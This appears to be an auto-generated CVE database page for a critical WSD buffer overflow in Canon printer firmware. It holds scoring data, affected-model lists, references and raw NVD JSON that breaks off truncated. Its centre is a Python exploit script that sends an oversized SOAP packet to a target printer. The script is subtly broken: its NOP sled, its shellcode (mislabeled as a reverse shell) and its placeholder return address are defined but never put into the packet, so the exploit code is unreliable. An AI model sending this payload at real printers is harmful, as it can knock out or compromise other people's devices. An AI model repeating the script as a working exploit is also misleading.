CVE-2025-14231

Description

Buffer overflow in print job processing by WSD on Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera LBP670C Series/Satera MF750C Series firmware v06.02 and earlier sold in Japan.Color imageCLASS LBP630C/Color imageCLASS MF650C Series/imageCLASS LBP230 Series/imageCLASS X LBP1238 II/imageCLASS MF450 Series/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II firmware v06.02 and earlier sold in US.i-SENSYS LBP630C Series/i-SENSYS MF650C Series/i-SENSYS LBP230 Series/1238P II/1238Pr II/i-SENSYS MF450 Series/i-SENSYS MF550 Series/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II firmware v06.02 and earlier sold in Europe.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:canon:mf455dw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf455dw:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:canon:mf453dw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf453dw:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:canon:mf452dw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf452dw:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:canon:mf451dw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf451dw:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:canon:mf654cdw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf654cdw:-:*:*:*:*:*:*:* - NOT VULNERABLE

Canon Satera LBP670C Series 固件 v06.02 及更早版本

Canon Satera MF750C Series 固件 v06.02 及更早版本

Canon Color imageCLASS LBP630C Series 固件 v06.02 及更早版本

Canon Color imageCLASS MF650C Series 固件 v06.02 及更早版本

Canon imageCLASS LBP230 Series 固件 v06.02 及更早版本

Canon imageCLASS X LBP1238 II 固件 v06.02 及更早版本

Canon imageCLASS MF450 Series 固件 v06.02 及更早版本

Canon imageCLASS X MF1238 II 固件 v06.02 及更早版本

Canon imageCLASS X MF1643i II 固件 v06.02 及更早版本

Canon imageCLASS X MF1643iF II 固件 v06.02 及更早版本

Canon i-SENSYS LBP630C Series 固件 v06.02 及更早版本

Canon i-SENSYS MF650C Series 固件 v06.02 及更早版本

Canon i-SENSYS LBP230 Series 固件 v06.02 及更早版本

Canon i-SENSYS 1238P II 固件 v06.02 及更早版本

Canon i-SENSYS 1238Pr II 固件 v06.02 及更早版本

Canon i-SENSYS MF450 Series 固件 v06.02 及更早版本

Canon i-SENSYS MF550 Series 固件 v06.02 及更早版本

Canon i-SENSYS 1238i II 固件 v06.02 及更早版本

Canon i-SENSYS 1238iF II 固件 v06.02 及更早版本

Canon imageRUNNER 1643i II 固件 v06.02 及更早版本

Canon imageRUNNER 1643iF II 固件 v06.02 及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-14231 PoC - WSD Buffer Overflow in Canon Printers
# Target: Canon laser printers with WSD service enabled
# Affected firmware: v06.02 and earlier

import socket
import struct

def create_malicious_wsd_packet():
    """Generate a malicious WSD SOAP envelope for buffer overflow"""
    # WSD SOAP envelope header
    soap_header = b'''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
               xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing">
<soap:Header>
<wsa:Action>http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</wsa:Action>
<wsa:MessageID>urn:uuid:12345678-1234-1234-1234-123456789012</wsa:MessageID>
</soap:Header>
<soap:Body>
'''
    
    # Malicious payload targeting buffer overflow
    # NOP sled + shellcode + return address
    nop_sled = b'\x90' * 100
    
    # Simple reverse shell shellcode (example)
    shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
    
    # Return address pointing to NOP sled (needs adjustment per firmware)
    return_addr = struct.pack('<I', 0x41414141)  # Placeholder address
    
    # Overflow string with repeated pattern
    overflow_pattern = b'A' * 500
    
    # Malicious print job with oversized field
    malicious_body = f'''
<wst:GetPrinterAttributes xmlns:wst="http://schemas.example.com/ws/2006/01/wsd">
<wst:Attribute ns:Name="PrinterName">{overflow_pattern.decode('latin-1')}</wst:Attribute>
<wst:Attribute ns:Name="DocumentName">{overflow_pattern.decode('latin-1')}</wst:Attribute>
</wst:GetPrinterAttributes>
</soap:Body>
</soap:Envelope>
'''.encode('utf-8')
    
    return soap_header + malicious_body

def send_exploit(target_ip, target_port=3702):
    """Send exploit to target WSD service"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5)
    
    payload = create_malicious_wsd_packet()
    
    try:
        print(f"[*] Sending exploit to {target_ip}:{target_port}")
        sock.sendto(payload, (target_ip, target_port))
        print("[+] Exploit packet sent")
        
        # Try to receive response
        try:
            data, addr = sock.recvfrom(4096)
            print(f"[*] Received response from {addr}")
        except socket.timeout:
            print("[*] No response received (target may be vulnerable)")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print("Usage: python cve-2025-14231-poc.py <target_ip>")
        sys.exit(1)
    
    target = sys.argv[1]
    send_exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14231
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14231
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14231/
[4] VulDB https://vuldb.com/cve/CVE-2025-14231
[5] https://canon.jp/support/support-info/260115vulnerability-response
[6] https://psirt.canon/advisory-information/cp2026-001/
[7] https://www.canon-europe.com/support/product-security/
[8] https://www.usa.canon.com/support/canon-product-advisories/Service-Notice-Regarding-Remediation-Measure-Against-Potential-Buffer-Overflow-Vulnerability-in-Laser-Printers-and-Small-Office-Multifunctional-Printers

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14231", "sourceIdentifier": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "published": "2026-01-16T00:16:27.250", "lastModified": "2026-01-26T15:10:41.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer overflow in print job processing by WSD on Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera LBP670C Series/Satera MF750C Series firmware v06.02 and earlier sold in Japan.Color imageCLASS LBP630C/Color imageCLASS MF650C Series/imageCLASS LBP230 Series/imageCLASS X LBP1238 II/imageCLASS MF450 Series/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II firmware v06.02 and earlier sold in US.i-SENSYS LBP630C Series/i-SENSYS MF650C Series/i-SENSYS LBP230 Series/1238P II/1238Pr II/i-SENSYS MF450 Series/i-SENSYS MF550 Series/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II firmware v06.02 and earlier sold in Europe."}, {"lang": "es", "value": "Desbordamiento de búfer en el procesamiento de trabajos de impresión por WSD en impresoras multifunción para pequeñas oficinas e impresoras láser (*), lo que podría permitir a un atacante en el segmento de red activar que el producto afectado deje de responder o ejecutar código arbitrario. *: firmware v06.02 y anteriores de las series Satera LBP670C/Satera MF750C vendidos en Japón. firmware v06.02 y anteriores de las series Color imageCLASS LBP630C/Color imageCLASS MF650C/imageCLASS LBP230/imageCLASS X LBP1238 II/imageCLASS MF450/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II vendidos en EE. UU. firmware v06.02 y anteriores de las series i-SENSYS LBP630C/i-SENSYS MF650C/i-SENSYS LBP230/1238P II/1238Pr II/i-SENSYS MF450/i-SENSYS MF550/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II vendidos en Europa."}], "metrics": {"cvssMetricV40": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:canon:mf455dw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "06.02", "matchCriteriaId": "E97C016E-CE05-4F54-B4F6-CB44451E7025"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:canon:mf455dw:-:*:*:*:*:*:*:*", "matchCriteriaId": "376C5E10-0D6C-405D-BC63-BDE7257A8142"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:canon:mf453dw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "06.02", "matchCriteriaId": "A65134F0-B34B-42BF-B0DD-3ED5DFB0EB08"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:canon:mf

... (truncated)